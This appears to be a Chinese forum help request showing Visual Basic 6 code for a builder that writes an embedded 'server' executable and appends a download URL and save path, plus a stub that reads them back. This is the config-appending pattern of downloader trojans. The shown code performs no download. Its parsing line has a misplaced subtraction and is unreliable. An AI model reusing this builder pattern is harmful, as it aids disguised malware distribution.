我把全部代码给你看下
这是生成器的
-------------------------
Const FILE_SIZE = 20480 '这是101号资源中的服务端文件1.exe的大小
Dim bInfo As Byte
Dim bFile() As Byte
Dim iInfoLen As Integer
Dim a As Integer
Dim i As Integer, lFile As Long, filesave As String
'---------------------------------------
Private Sub Command1_Click()
Dim bInfo As Byte
Dim bFile() As Byte
Dim iInfoLen As Integer
Dim i As Integer, lFile As Long
str2 = Trim(Text1.Text) '这个是下载的地址
str3 = Trim(Text2.Text) '这个是保存的路径
str1 = str2 & "#" & str3 '加个#号是为了方便服务端将地址和路径分离出来
iInfoLen = Len(str1)
If Text1.Text = "" And Text2.Text = "" Then
MsgBox "请输入正确的下载地址和保存路径!", , "提示!"
Exit Sub
End If
On Error GoTo myErr:
bFile = LoadResData(101, "CUSTOM") '读出101号资源
Open App.Path & "\server.exe" For Binary Access Write As #1 '以二进制的方式打开资源文件即101
For lFile = 0 To FILE_SIZE - 1
Put #1, , bFile(lFile)
Next lFile
For i = 1 To iInfoLen '读出配置信息并追加就 是写到文件的尾部
bInfo = Asc(Mid(str1, i, 1))
Put #1, , bInfo '将信息写入服务端中
Next i
Close #1
Exit Sub
myErr:
Reset '如果有文件未关闭,则关闭之
MsgBox Err.Description & " 程序运行出错了."
End Sub
以下是服务端的--------------
Const FILE_SIZE = 20480 '这是服务端的大小
Private Sub Form_Load()
Dim bAppend As Byte, lNum As Long
Dim i As Long, sInfo As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
Seek #1, FILE_SIZE + 1 '将读取指针定位到文件末我们把信息写到尾部了所以要从尾部读
For lNum = 1 To FileLen(App.Path & "\" & App.EXEName & ".exe") - FILE_SIZE
Get #1, , bAppend
sInfo = sInfo + Chr(bAppend) '这个就是读出来的信息地址和路径
Next lNum
Close #1
Text1.Text = Left(sInfo, InStr(sInfo, "#" - 1))
Text2.Text = Right(sInfo, Len(sInfo) - InStr(sInfo, "#"))
End Sub